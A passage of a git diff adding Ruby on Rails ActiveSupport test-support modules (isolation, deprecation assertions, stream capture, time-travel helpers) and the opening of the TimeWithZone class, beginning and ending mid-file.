+    #           assert_kind_of WidgetsController, @controller
+    #         end
+    #       end
+    #     end
+    #   end
+    #
+    # The test will have the following name:
+    #
+    #   "WidgetsController::index::authenticated user::returns widgets"
+    #
+    # The constant WidgetsController can be resolved from the name.
+    # The following code will resolve the constant:
+    #
+    #   controller = determine_constant_from_test_name(name) do |constant|
+    #     Class === constant && constant < ::ActionController::Metal
+    #   end
+    module ConstantLookup
+      extend ::ActiveSupport::Concern
+
+      module ClassMethods  # :nodoc:
+        def determine_constant_from_test_name(test_name)
+          names = test_name.split "::"
+          while names.size > 0 do
+            names.last.sub!(/Test$/, "")
+            begin
+              constant = names.join("::").safe_constantize
+              break(constant) if yield(constant)
+            ensure
+              names.pop
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
new file mode 100644
index 0000000000..7c3403684d
--- /dev/null
+++ b/activesupport/lib/active_support/testing/declarative.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    module Declarative
+      unless defined?(Spec)
+        # Helper to define a test method using a String. Under the hood, it replaces
+        # spaces with underscores and defines the test method.
+        #
+        #   test "verify something" do
+        #     ...
+        #   end
+        def test(name, &block)
+          test_name = "test_#{name.gsub(/\s+/, '_')}".to_sym
+          defined = method_defined? test_name
+          raise "#{test_name} is already defined in #{self}" if defined
+          if block_given?
+            define_method(test_name, &block)
+          else
+            define_method(test_name) do
+              flunk "No implementation provided for #{name}"
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
new file mode 100644
index 0000000000..4fda4832cc
--- /dev/null
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require_relative "../deprecation"
+require_relative "../core_ext/regexp"
+
+module ActiveSupport
+  module Testing
+    module Deprecation #:nodoc:
+      def assert_deprecated(match = nil, deprecator = nil, &block)
+        result, warnings = collect_deprecations(deprecator, &block)
+        assert !warnings.empty?, "Expected a deprecation warning within the block but received none"
+        if match
+          match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp)
+          assert warnings.any? { |w| match.match?(w) }, "No deprecation warning matched #{match}: #{warnings.join(', ')}"
+        end
+        result
+      end
+
+      def assert_not_deprecated(deprecator = nil, &block)
+        result, deprecations = collect_deprecations(deprecator, &block)
+        assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n  #{deprecations * "\n  "}"
+        result
+      end
+
+      def collect_deprecations(deprecator = nil)
+        deprecator ||= ActiveSupport::Deprecation
+        old_behavior = deprecator.behavior
+        deprecations = []
+        deprecator.behavior = Proc.new do |message, callstack|
+          deprecations << message
+        end
+        result = yield
+        [result, deprecations]
+      ensure
+        deprecator.behavior = old_behavior
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/file_fixtures.rb b/activesupport/lib/active_support/testing/file_fixtures.rb
new file mode 100644
index 0000000000..ad923d1aab
--- /dev/null
+++ b/activesupport/lib/active_support/testing/file_fixtures.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    # Adds simple access to sample files called file fixtures.
+    # File fixtures are normal files stored in
+    # <tt>ActiveSupport::TestCase.file_fixture_path</tt>.
+    #
+    # File fixtures are represented as +Pathname+ objects.
+    # This makes it easy to extract specific information:
+    #
+    #   file_fixture("example.txt").read # get the file's content
+    #   file_fixture("example.mp3").size # get the file size
+    module FileFixtures
+      extend ActiveSupport::Concern
+
+      included do
+        class_attribute :file_fixture_path, instance_writer: false
+      end
+
+      # Returns a +Pathname+ to the fixture file named +fixture_name+.
+      #
+      # Raises +ArgumentError+ if +fixture_name+ can't be found.
+      def file_fixture(fixture_name)
+        path = Pathname.new(File.join(file_fixture_path, fixture_name))
+
+        if path.exist?
+          path
+        else
+          msg = "the directory '%s' does not contain a file named '%s'"
+          raise ArgumentError, msg % [file_fixture_path, fixture_name]
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
new file mode 100644
index 0000000000..954197a3cc
--- /dev/null
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    module Isolation
+      require "thread"
+
+      def self.included(klass) #:nodoc:
+        klass.class_eval do
+          parallelize_me!
+        end
+      end
+
+      def self.forking_env?
+        !ENV["NO_FORK"] && Process.respond_to?(:fork)
+      end
+
+      def run
+        serialized = run_in_isolation do
+          super
+        end
+
+        Marshal.load(serialized)
+      end
+
+      module Forking
+        def run_in_isolation(&blk)
+          read, write = IO.pipe
+          read.binmode
+          write.binmode
+
+          pid = fork do
+            read.close
+            yield
+            begin
+              if error?
+                failures.map! { |e|
+                  begin
+                    Marshal.dump e
+                    e
+                  rescue TypeError
+                    ex = Exception.new e.message
+                    ex.set_backtrace e.backtrace
+                    Minitest::UnexpectedError.new ex
+                  end
+                }
+              end
+              result = Marshal.dump(dup)
+            end
+
+            write.puts [result].pack("m")
+            exit!
+          end
+
+          write.close
+          result = read.read
+          Process.wait2(pid)
+          return result.unpack("m")[0]
+        end
+      end
+
+      module Subprocess
+        ORIG_ARGV = ARGV.dup unless defined?(ORIG_ARGV)
+
+        # Crazy H4X to get this working in windows / jruby with
+        # no forking.
+        def run_in_isolation(&blk)
+          require "tempfile"
+
+          if ENV["ISOLATION_TEST"]
+            yield
+            File.open(ENV["ISOLATION_OUTPUT"], "w") do |file|
+              file.puts [Marshal.dump(dup)].pack("m")
+            end
+            exit!
+          else
+            Tempfile.open("isolation") do |tmpfile|
+              env = {
+                "ISOLATION_TEST" => self.class.name,
+                "ISOLATION_OUTPUT" => tmpfile.path
+              }
+
+              test_opts = "-n#{self.class.name}##{name}"
+
+              load_path_args = []
+              $-I.each do |p|
+                load_path_args << "-I"
+                load_path_args << File.expand_path(p)
+              end
+
+              child = IO.popen([env, Gem.ruby, *load_path_args, $0, *ORIG_ARGV, test_opts])
+
+              begin
+                Process.wait(child.pid)
+              rescue Errno::ECHILD # The child process may exit before we wait
+                nil
+              end
+
+              return tmpfile.read.unpack("m")[0]
+            end
+          end
+        end
+      end
+
+      include forking_env? ? Forking : Subprocess
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/method_call_assertions.rb b/activesupport/lib/active_support/testing/method_call_assertions.rb
new file mode 100644
index 0000000000..c6358002ea
--- /dev/null
+++ b/activesupport/lib/active_support/testing/method_call_assertions.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "minitest/mock"
+
+module ActiveSupport
+  module Testing
+    module MethodCallAssertions # :nodoc:
+      private
+        def assert_called(object, method_name, message = nil, times: 1, returns: nil)
+          times_called = 0
+
+          object.stub(method_name, proc { times_called += 1; returns }) { yield }
+
+          error = "Expected #{method_name} to be called #{times} times, " \
+            "but was called #{times_called} times"
+          error = "#{message}.\n#{error}" if message
+          assert_equal times, times_called, error
+        end
+
+        def assert_called_with(object, method_name, args = [], returns: nil)
+          mock = Minitest::Mock.new
+
+          if args.all? { |arg| arg.is_a?(Array) }
+            args.each { |arg| mock.expect(:call, returns, arg) }
+          else
+            mock.expect(:call, returns, args)
+          end
+
+          object.stub(method_name, mock) { yield }
+
+          mock.verify
+        end
+
+        def assert_not_called(object, method_name, message = nil, &block)
+          assert_called(object, method_name, message, times: 0, &block)
+        end
+
+        def stub_any_instance(klass, instance: klass.new)
+          klass.stub(:new, instance) { yield instance }
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/setup_and_teardown.rb b/activesupport/lib/active_support/testing/setup_and_teardown.rb
new file mode 100644
index 0000000000..18de7185d9
--- /dev/null
+++ b/activesupport/lib/active_support/testing/setup_and_teardown.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require_relative "../concern"
+require_relative "../callbacks"
+
+module ActiveSupport
+  module Testing
+    # Adds support for +setup+ and +teardown+ callbacks.
+    # These callbacks serve as a replacement to overwriting the
+    # <tt>#setup</tt> and <tt>#teardown</tt> methods of your TestCase.
+    #
+    #   class ExampleTest < ActiveSupport::TestCase
+    #     setup do
+    #       # ...
+    #     end
+    #
+    #     teardown do
+    #       # ...
+    #     end
+    #   end
+    module SetupAndTeardown
+      extend ActiveSupport::Concern
+
+      included do
+        include ActiveSupport::Callbacks
+        define_callbacks :setup, :teardown
+      end
+
+      module ClassMethods
+        # Add a callback, which runs before <tt>TestCase#setup</tt>.
+        def setup(*args, &block)
+          set_callback(:setup, :before, *args, &block)
+        end
+
+        # Add a callback, which runs after <tt>TestCase#teardown</tt>.
+        def teardown(*args, &block)
+          set_callback(:teardown, :after, *args, &block)
+        end
+      end
+
+      def before_setup # :nodoc:
+        super
+        run_callbacks :setup
+      end
+
+      def after_teardown # :nodoc:
+        run_callbacks :teardown
+        super
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/stream.rb b/activesupport/lib/active_support/testing/stream.rb
new file mode 100644
index 0000000000..d070a1793d
--- /dev/null
+++ b/activesupport/lib/active_support/testing/stream.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    module Stream #:nodoc:
+      private
+
+        def silence_stream(stream)
+          old_stream = stream.dup
+          stream.reopen(IO::NULL)
+          stream.sync = true
+          yield
+        ensure
+          stream.reopen(old_stream)
+          old_stream.close
+        end
+
+        def quietly
+          silence_stream(STDOUT) do
+            silence_stream(STDERR) do
+              yield
+            end
+          end
+        end
+
+        def capture(stream)
+          stream = stream.to_s
+          captured_stream = Tempfile.new(stream)
+          stream_io = eval("$#{stream}")
+          origin_stream = stream_io.dup
+          stream_io.reopen(captured_stream)
+
+          yield
+
+          stream_io.rewind
+          return captured_stream.read
+        ensure
+          captured_stream.close
+          captured_stream.unlink
+          stream_io.reopen(origin_stream)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/tagged_logging.rb b/activesupport/lib/active_support/testing/tagged_logging.rb
new file mode 100644
index 0000000000..9ca50c7918
--- /dev/null
+++ b/activesupport/lib/active_support/testing/tagged_logging.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Testing
+    # Logs a "PostsControllerTest: test name" heading before each test to
+    # make test.log easier to search and follow along with.
+    module TaggedLogging #:nodoc:
+      attr_writer :tagged_logger
+
+      def before_setup
+        if tagged_logger && tagged_logger.info?
+          heading = "#{self.class}: #{name}"
+          divider = "-" * heading.size
+          tagged_logger.info divider
+          tagged_logger.info heading
+          tagged_logger.info divider
+        end
+        super
+      end
+
+      private
+        def tagged_logger
+          @tagged_logger ||= (defined?(Rails.logger) && Rails.logger)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/testing/time_helpers.rb b/activesupport/lib/active_support/testing/time_helpers.rb
new file mode 100644
index 0000000000..fa5f46736c
--- /dev/null
+++ b/activesupport/lib/active_support/testing/time_helpers.rb
@@ -0,0 +1,199 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/string/strip" # for strip_heredoc
+require_relative "../core_ext/time/calculations"
+require "concurrent/map"
+
+module ActiveSupport
+  module Testing
+    class SimpleStubs # :nodoc:
+      Stub = Struct.new(:object, :method_name, :original_method)
+
+      def initialize
+        @stubs = Concurrent::Map.new { |h, k| h[k] = {} }
+      end
+
+      def stub_object(object, method_name, &block)
+        if stub = stubbing(object, method_name)
+          unstub_object(stub)
+        end
+
+        new_name = "__simple_stub__#{method_name}"
+
+        @stubs[object.object_id][method_name] = Stub.new(object, method_name, new_name)
+
+        object.singleton_class.send :alias_method, new_name, method_name
+        object.define_singleton_method(method_name, &block)
+      end
+
+      def unstub_all!
+        @stubs.each_value do |object_stubs|
+          object_stubs.each_value do |stub|
+            unstub_object(stub)
+          end
+        end
+        @stubs.clear
+      end
+
+      def stubbing(object, method_name)
+        @stubs[object.object_id][method_name]
+      end
+
+      private
+
+        def unstub_object(stub)
+          singleton_class = stub.object.singleton_class
+          singleton_class.send :undef_method, stub.method_name
+          singleton_class.send :alias_method, stub.method_name, stub.original_method
+          singleton_class.send :undef_method, stub.original_method
+        end
+    end
+
+    # Contains helpers that help you test passage of time.
+    module TimeHelpers
+      def after_teardown
+        travel_back
+        super
+      end
+
+      # Changes current time to the time in the future or in the past by a given time difference by
+      # stubbing +Time.now+, +Date.today+, and +DateTime.now+. The stubs are automatically removed
+      # at the end of the test.
+      #
+      #   Time.current     # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel 1.day
+      #   Time.current     # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+      #   Date.current     # => Sun, 10 Nov 2013
+      #   DateTime.current # => Sun, 10 Nov 2013 15:34:49 -0500
+      #
+      # This method also accepts a block, which will return the current time back to its original
+      # state at the end of the block:
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel 1.day do
+      #     User.create.created_at # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+      #   end
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel(duration, &block)
+        travel_to Time.now + duration, &block
+      end
+
+      # Changes current time to the given time by stubbing +Time.now+,
+      # +Date.today+, and +DateTime.now+ to return the time or date passed into this method.
+      # The stubs are automatically removed at the end of the test.
+      #
+      #   Time.current     # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.zone.local(2004, 11, 24, 01, 04, 44)
+      #   Time.current     # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   Date.current     # => Wed, 24 Nov 2004
+      #   DateTime.current # => Wed, 24 Nov 2004 01:04:44 -0500
+      #
+      # Dates are taken as their timestamp at the beginning of the day in the
+      # application time zone. <tt>Time.current</tt> returns said timestamp,
+      # and <tt>Time.now</tt> its equivalent in the system time zone. Similarly,
+      # <tt>Date.current</tt> returns a date equal to the argument, and
+      # <tt>Date.today</tt> the date according to <tt>Time.now</tt>, which may
+      # be different. (Note that you rarely want to deal with <tt>Time.now</tt>,
+      # or <tt>Date.today</tt>, in order to honor the application time zone
+      # please always use <tt>Time.current</tt> and <tt>Date.current</tt>.)
+      #
+      # Note that the usec for the time passed will be set to 0 to prevent rounding
+      # errors with external services, like MySQL (which will round instead of floor,
+      # leading to off-by-one-second errors).
+      #
+      # This method also accepts a block, which will return the current time back to its original
+      # state at the end of the block:
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.zone.local(2004, 11, 24, 01, 04, 44) do
+      #     Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   end
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel_to(date_or_time)
+        if block_given? && simple_stubs.stubbing(Time, :now)
+          travel_to_nested_block_call = <<-MSG.strip_heredoc
+
+      Calling `travel_to` with a block, when we have previously already made a call to `travel_to`, can lead to confusing time stubbing.
+
+      Instead of:
+
+         travel_to 2.days.from_now do
+           # 2 days from today
+           travel_to 3.days.from_now do
+             # 5 days from today
+           end
+         end
+
+      preferred way to achieve above is:
+
+         travel 2.days do
+           # 2 days from today
+         end
+
+         travel 5.days do
+           # 5 days from today
+         end
+
+          MSG
+          raise travel_to_nested_block_call
+        end
+
+        if date_or_time.is_a?(Date) && !date_or_time.is_a?(DateTime)
+          now = date_or_time.midnight.to_time
+        else
+          now = date_or_time.to_time.change(usec: 0)
+        end
+
+        simple_stubs.stub_object(Time, :now) { at(now.to_i) }
+        simple_stubs.stub_object(Date, :today) { jd(now.to_date.jd) }
+        simple_stubs.stub_object(DateTime, :now) { jd(now.to_date.jd, now.hour, now.min, now.sec, Rational(now.utc_offset, 86400)) }
+
+        if block_given?
+          begin
+            yield
+          ensure
+            travel_back
+          end
+        end
+      end
+
+      # Returns the current time back to its original state, by removing the stubs added by
+      # +travel+ and +travel_to+.
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.zone.local(2004, 11, 24, 01, 04, 44)
+      #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   travel_back
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel_back
+        simple_stubs.unstub_all!
+      end
+
+      # Calls +travel_to+ with +Time.now+.
+      #
+      #   Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+      #   freeze_time
+      #   sleep(1)
+      #   Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+      #
+      # This method also accepts a block, which will return the current time back to its original
+      # state at the end of the block:
+      #
+      #   Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+      #   freeze_time do
+      #     sleep(1)
+      #     User.create.created_at # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+      #   end
+      #   Time.current # => Sun, 09 Jul 2017 15:34:50 EST -05:00
+      def freeze_time(&block)
+        travel_to Time.now, &block
+      end
+
+      private
+
+        def simple_stubs
+          @simple_stubs ||= SimpleStubs.new
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/time.rb b/activesupport/lib/active_support/time.rb
new file mode 100644
index 0000000000..fb1c5cee1c
--- /dev/null
+++ b/activesupport/lib/active_support/time.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  autoload :Duration, "active_support/duration"
+  autoload :TimeWithZone, "active_support/time_with_zone"
+  autoload :TimeZone, "active_support/values/time_zone"
+end
+
+require "date"
+require "time"
+
+require_relative "core_ext/time"
+require_relative "core_ext/date"
+require_relative "core_ext/date_time"
+
+require_relative "core_ext/integer/time"
+require_relative "core_ext/numeric/time"
+
+require_relative "core_ext/string/conversions"
+require_relative "core_ext/string/zones"
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
new file mode 100644
index 0000000000..59cafa193e
--- /dev/null
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -0,0 +1,551 @@
+# frozen_string_literal: true
+
+require_relative "duration"
+require_relative "values/time_zone"
+require_relative "core_ext/object/acts_like"
+require_relative "core_ext/date_and_time/compatibility"
+
+module ActiveSupport
+  # A Time-like class that can represent a time in any time zone. Necessary
+  # because standard Ruby Time instances are limited to UTC and the
+  # system's <tt>ENV['TZ']</tt> zone.
+  #
+  # You shouldn't ever need to create a TimeWithZone instance directly via +new+.
+  # Instead use methods +local+, +parse+, +at+ and +now+ on TimeZone instances,
+  # and +in_time_zone+ on Time and DateTime instances.
+  #
+  #   Time.zone = 'Eastern Time (US & Canada)'        # => 'Eastern Time (US & Canada)'
+  #   Time.zone.local(2007, 2, 10, 15, 30, 45)        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #   Time.zone.parse('2007-02-10 15:30:45')          # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #   Time.zone.at(1171139445)                        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #   Time.zone.now                                   # => Sun, 18 May 2008 13:07:55 EDT -04:00
+  #   Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone  # => Sat, 10 Feb 2007 15:30:45 EST -05:00
+  #
+  # See Time and TimeZone for further documentation of these methods.
+  #
+  # TimeWithZone instances implement the same API as Ruby Time instances, so
+  # that Time and TimeWithZone instances are interchangeable.
+  #
+  #   t = Time.zone.now                     # => Sun, 18 May 2008 13:27:25 EDT -04:00
+  #   t.hour                                # => 13
+  #   t.dst?                                # => true
+  #   t.utc_offset                          # => -14400
+  #   t.zone                                # => "EDT"
+  #   t.to_s(:rfc822)                       # => "Sun, 18 May 2008 13:27:25 -0400"
+  #   t + 1.day                             # => Mon, 19 May 2008 13:27:25 EDT -04:00
+  #   t.beginning_of_year                   # => Tue, 01 Jan 2008 00:00:00 EST -05:00
+  #   t > Time.utc(1999)                    # => true
+  #   t.is_a?(Time)                         # => true
+  #   t.is_a?(ActiveSupport::TimeWithZone)  # => true
+  class TimeWithZone
+    # Report class name as 'Time' to thwart type checking.
+    def self.name
+      "Time"
+    end
+
+    PRECISIONS = Hash.new { |h, n| h[n] = "%FT%T.%#{n}N".freeze }
+    PRECISIONS[0] = "%FT%T".freeze
+
+    include Comparable, DateAndTime::Compatibility
+    attr_reader :time_zone
+
+    def initialize(utc_time, time_zone, local_time = nil, period = nil)
+      @utc = utc_time ? transfer_time_values_to_utc_constructor(utc_time) : nil
+      @time_zone, @time = time_zone, local_time
+      @period = @utc ? period : get_period_and_ensure_valid_local_time(period)
+    end
+
+    # Returns a <tt>Time</tt> instance that represents the time in +time_zone+.
+    def time
+      @time ||= period.to_local(@utc)
+    end
+
+    # Returns a <tt>Time</tt> instance of the simultaneous time in the UTC timezone.
+    def utc
+      @utc ||= period.to_utc(@time)
+    end
+    alias_method :comparable_time, :utc
+    alias_method :getgm, :utc
+    alias_method :getutc, :utc
+    alias_method :gmtime, :utc
+
+    # Returns the underlying TZInfo::TimezonePeriod.
+    def period
+      @period ||= time_zone.period_for_utc(@utc)
+    end
+
+    # Returns the simultaneous time in <tt>Time.zone</tt>, or the specified zone.
+    def in_time_zone(new_zone = ::Time.zone)
+      return self if time_zone == new_zone
+      utc.in_time_zone(new_zone)
+    end
+
+    # Returns a <tt>Time</tt> instance of the simultaneous time in the system timezone.
+    def localtime(utc_offset = nil)
+      utc.getlocal(utc_offset)
+    end
+    alias_method :getlocal, :localtime
+
+    # Returns true if the current time is within Daylight Savings Time for the
+    # specified time zone.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)'    # => 'Eastern Time (US & Canada)'
+    #   Time.zone.parse("2012-5-30").dst?           # => true
+    #   Time.zone.parse("2012-11-30").dst?          # => false
+    def dst?
+      period.dst?
+    end
+    alias_method :isdst, :dst?
+
+    # Returns true if the current time zone is set to UTC.
+    #
+    #   Time.zone = 'UTC'                           # => 'UTC'
+    #   Time.zone.now.utc?                          # => true
+    #   Time.zone = 'Eastern Time (US & Canada)'    # => 'Eastern Time (US & Canada)'
+    #   Time.zone.now.utc?                          # => false
+    def utc?
+      period.offset.abbreviation == :UTC || period.offset.abbreviation == :UCT
+    end
+    alias_method :gmt?, :utc?
+
+    # Returns the offset from current time to UTC time in seconds.
+    def utc_offset
+      period.utc_total_offset
+    end
+    alias_method :gmt_offset, :utc_offset
+    alias_method :gmtoff, :utc_offset
+
+    # Returns a formatted string of the offset from UTC, or an alternative
+    # string if the time zone is already UTC.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)'   # => "Eastern Time (US & Canada)"
+    #   Time.zone.now.formatted_offset(true)       # => "-05:00"
+    #   Time.zone.now.formatted_offset(false)      # => "-0500"
+    #   Time.zone = 'UTC'                          # => "UTC"
+    #   Time.zone.now.formatted_offset(true, "0")  # => "0"
+    def formatted_offset(colon = true, alternate_utc_string = nil)
+      utc? && alternate_utc_string || TimeZone.seconds_to_utc_offset(utc_offset, colon)
+    end
+
+    # Returns the time zone abbreviation.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)'   # => "Eastern Time (US & Canada)"
+    #   Time.zone.now.zone # => "EST"
+    def zone
+      period.zone_identifier.to_s
+    end
+
+    # Returns a string of the object's date, time, zone, and offset from UTC.
+    #
+    #   Time.zone.now.inspect # => "Thu, 04 Dec 2014 11:00:25 EST -05:00"
+    def inspect
+      "#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
+    end
+
+    # Returns a string of the object's date and time in the ISO 8601 standard
+    # format.
+    #
+    #   Time.zone.now.xmlschema  # => "2014-12-04T11:02:37-05:00"
+    def xmlschema(fraction_digits = 0)
+      "#{time.strftime(PRECISIONS[fraction_digits.to_i])}#{formatted_offset(true, 'Z'.freeze)}"
+    end
+    alias_method :iso8601, :xmlschema
+    alias_method :rfc3339, :xmlschema
+
+    # Coerces time to a string for JSON encoding. The default format is ISO 8601.
+    # You can get %Y/%m/%d %H:%M:%S +offset style by setting
+    # <tt>ActiveSupport::JSON::Encoding.use_standard_json_time_format</tt>
+    # to +false+.
+    #
+    #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+    #   # => "2005-02-01T05:15:10.000-10:00"
+    #
+    #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+    #   # => "2005/02/01 05:15:10 -1000"
+    def as_json(options = nil)
+      if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+        xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+      else
+        %(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+      end
+    end
+
+    def init_with(coder) #:nodoc:
+      initialize(coder["utc"], coder["zone"], coder["time"])
+    end
+
+    def encode_with(coder) #:nodoc:
+      coder.tag = "!ruby/object:ActiveSupport::TimeWithZone"
+      coder.map = { "utc" => utc, "zone" => time_zone, "time" => time }
+    end
+
+    # Returns a string of the object's date and time in the format used by
+    # HTTP requests.
+    #
+    #   Time.zone.now.httpdate  # => "Tue, 01 Jan 2013 04:39:43 GMT"
+    def httpdate
+      utc.httpdate
+    end
+
+    # Returns a string of the object's date and time in the RFC 2822 standard
+    # format.
+    #
+    #   Time.zone.now.rfc2822  # => "Tue, 01 Jan 2013 04:51:39 +0000"
+    def rfc2822
+      to_s(:rfc822)
+    end
+    alias_method :rfc822, :rfc2822
+
+    # Returns a string of the object's date and time.
+    # Accepts an optional <tt>format</tt>:
+    # * <tt>:default</tt> - default value, mimics Ruby Time#to_s format.
+    # * <tt>:db</tt> - format outputs time in UTC :db time. See Time#to_formatted_s(:db).
+    # * Any key in <tt>Time::DATE_FORMATS</tt> can be used. See active_support/core_ext/time/conversions.rb.
+    def to_s(format = :default)
+      if format == :db
+        utc.to_s(format)
+      elsif formatter = ::Time::DATE_FORMATS[format]
+        formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+      else
+        "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby Time#to_s format
+      end
+    end
+    alias_method :to_formatted_s, :to_s
+
+    # Replaces <tt>%Z</tt> directive with +zone before passing to Time#strftime,
+    # so that zone information is correct.
+    def strftime(format)
+      format = format.gsub(/((?:\A|[^%])(?:%%)*)%Z/, "\\1#{zone}")
+      getlocal(utc_offset).strftime(format)
+    end
+
+    # Use the time in UTC for comparisons.
+    def <=>(other)
+      utc <=> other
+    end
+
+    # Returns true if the current object's time is within the specified
+    # +min+ and +max+ time.
+    def between?(min, max)
+      utc.between?(min, max)
+    end
+
+    # Returns true if the current object's time is in the past.
+    def past?
+      utc.past?
+    end
+
+    # Returns true if the current object's time falls within
+    # the current day.
+    def today?
+      time.today?
+    end
+
+    # Returns true if the current object's time is in the future.
+    def future?
+      utc.future?
+    end
+
+    # Returns +true+ if +other+ is equal to current object.
+    def eql?(other)
+      other.eql?(utc)
+    end
+
+    def hash
+      utc.hash
+    end
+
+    # Adds an interval of time to the current object's time and returns that
+    # value as a new TimeWithZone object.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+    #   now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
+    #   now + 1000          # => Sun, 02 Nov 2014 01:43:08 EDT -04:00
+    #
+    # If we're adding a Duration of variable length (i.e., years, months, days),
+    # move forward from #time, otherwise move forward from #utc, for accuracy
+    # when moving across DST boundaries.
+    #
+    # For instance, a time + 24.hours will advance exactly 24 hours, while a
+    # time + 1.day will advance 23-25 hours, depending on the day.
+    #
+    #   now + 24.hours      # => Mon, 03 Nov 2014 00:26:28 EST -05:00
+    #   now + 1.day         # => Mon, 03 Nov 2014 01:26:28 EST -05:00
+    def +(other)
+      if duration_of_variable_length?(other)
+        method_missing(:+, other)
+      else
+        result = utc.acts_like?(:date) ? utc.since(other) : utc + other rescue utc.since(other)
+        result.in_time_zone(time_zone)
+      end
+    end
+    alias_method :since, :+
+    alias_method :in, :+
+
+    # Returns a new TimeWithZone object that represents the difference between
+    # the current object's time and the +other+ time.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+    #   now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28 EST -05:00
+    #   now - 1000          # => Mon, 03 Nov 2014 00:09:48 EST -05:00
+    #
+    # If subtracting a Duration of variable length (i.e., years, months, days),
+    # move backward from #time, otherwise move backward from #utc, for accuracy
+    # when moving across DST boundaries.
+    #
+    # For instance, a time - 24.hours will go subtract exactly 24 hours, while a
+    # time - 1.day will subtract 23-25 hours, depending on the day.
+    #
+    #   now - 24.hours      # => Sun, 02 Nov 2014 01:26:28 EDT -04:00
+    #   now - 1.day         # => Sun, 02 Nov 2014 00:26:28 EDT -04:00
+    def -(other)
+      if other.acts_like?(:time)
+        to_time - other.to_time
+      elsif duration_of_variable_length?(other)
+        method_missing(:-, other)
+      else
+        result = utc.acts_like?(:date) ? utc.ago(other) : utc - other rescue utc.ago(other)
+        result.in_time_zone(time_zone)
+      end
+    end
+
+    # Subtracts an interval of time from the current object's time and returns
+    # the result as a new TimeWithZone object.
+    #
+    #   Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+    #   now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28 EST -05:00
+    #   now.ago(1000)       # => Mon, 03 Nov 2014 00:09:48 EST -05:00
+    #
+    # If we're subtracting a Duration of variable length (i.e., years, months,
+    # days), move backward from #time, otherwise move backward from #utc, for
